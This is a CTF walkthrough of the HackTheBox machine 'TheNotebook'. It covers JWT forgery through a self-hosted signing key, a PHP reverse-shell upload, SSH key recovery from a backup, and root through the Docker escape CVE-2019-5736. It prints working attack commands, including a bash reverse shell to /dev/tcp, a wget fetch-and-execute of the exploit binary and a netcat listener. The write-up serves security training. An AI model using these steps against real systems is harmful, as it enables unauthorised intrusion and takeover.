We’ll look at another one of HackTheBox machines today, called “TheNotebook.” It is a medium difficulty box targeting the commonly found threat of using insecure JWT token implementation. A user is able to gain access to the system by forging this token and adding desired values. We’d own the root user by targeting it. Here is the methodology.
Penetration Testing Methodology
- Forging the JWT token with admin rights and self-generated private key
- Uploading a PHP backdoor
- Recovering SSH private key from an old backup directory
- Enumerating sudoers
- Exploiting vulnerable version of docker (CVE-2019-5736)
- Gaining root access
Machine’s IP was 10.129.211.197. The first step was to run nmap’s aggressive scan to look for open ports. As you can see a port 80 was found to be open.
nmap -A 10.129.211.197
The website opens up a note management tool. There was a register link too.
After registering, we observed that a Base64 encoded token was being transferred on our request of signing up. It would be interesting to see what data was getting transferred.
We decoded the Base64 and got to know it was a JWT token.
We have often extracted critical information out of JWT token misconfigurations. We used jwt.io for the purpose. As you can see that the header picks a “Key ID” or “kid” from a remote location. This is a private key that is used as an authentication method by clients to authenticate to the authorization server when using the token endpoint. Also, there is an “admin_cap” variable that shows if admin access is provided to the user or not.
So, we’ll generate a private key, host it on our local server, and change the JWT header to my own key’s location and try if the website fetches and authenticates using our key.
openssl genrsa -out privKey.key 2048 python -m SimpleHTTPServer 80
We’d change the fields in our JWT header now and paste our own key in the field below for the token to verify the signature and successfully authenticate using my key.
Look how we’ve changed the location of the key, admin_cap is set to true and pasted the key below. Note the colour-coding to comprehend how the JWT token is made.
Now, after being logged in using the username and password we used to sign up, this newly generated token should be replaced in the auth cookie and the site reloaded. After doing this, we see the admin panel now visible on the nav bar.
The admin panel has an upload file option.
So we uploaded a php-reverse-shell from the /usr/share/webshells/php directory in Kali and changed the location with our local IP.
To make things easy, site provided us with a link to view the uploaded file too.
Before opening this file up, we fired a netcat listener. Then after clicking on view can get a reverse shell. We convert this into a proper teletype first.
python3 -c 'import pty;pty.spawn("/bin/bash")'
In the var/backups directory, we saw home.tar.gz which was an old account backup.
We copy this into the temp directory and unzip it. We observed that the user is “noah” and has a dump of his home directory.
cp home.tar.gz /tmp/ tar cvzf home.tar.gz
smart thing to do here is done dumpster diving for old SSH keys. Luckily, we did find the SSH keys and copied this private key to our system.
We changed the permission on the key to “600” and logged in to noah’s account using it.
nano sshkey chmod 600 sshkey ssh -i sshkey [email protected]
The user flag was in /home.
We immediately check the sudoers list because it’s the most direct way of modelling the privilege escalation approach.
We found that noah was allowed to run the “docker exec” command as root.
We enumerated docker’s version first.
sudo -l docker version
We observed that version 18.06.0-ce was affected by CVE-2019-5736, a docker escape vulnerability. The POC of the same can be found here. This exploit would let us overwrite and execute the host systems binary from within the container.
So, what we did was copy the exploit, modify it, upload it and execute it.
git clone https://github.com/Frichetten/CVE-2019-5736-PoC cd CVE-2019-5736 nano main.go
Here, we’ll modify the variable “payload” with this bash one-liner
bash -i >& /dev/tcp/10.10.14.100/9999 0>&1
And then we save this
We need to compile this script into an executable and then launch our local server to upload it to the machine.
go build main.go python -m SimpleHTTPServer 80
In the machine, we first jumped into the container using docker exec command.
sudo /usr/bin/docker exec -it webapp-dev01 /bin/bash
After that, we’ll copy the exploit in /tmp and execute it
cd /tmp wget 10.10.14.100/main chmod 777 main ./main
Now, we’ll open another window and log in using noah separately and execute the command docker exec command but the catch is that this time the binary “sh” has been overwritten by our exploit and it would run the “payload” that we defined in our exploit.
Also, make sure to fire up a netcat listener on port 9999.
sudo /usr/bin/docker exec -it webapp-dev01 sh
We fired up the window in which netcat was running and observe a shell had been prompted. This is the root of thenotebook!
nc -lvp 9999 cd /root cat root.txt
We snagged the flag in /root directory
Hence, this is how we were able to own the system access in the CTF TheNotebook. Please let us know in the comments how you found our approach and query any clarifications for any steps that you may need. Thanks for the read.
Author: Harshit Rajpal is an InfoSec researcher and left and right brain thinker. Contact here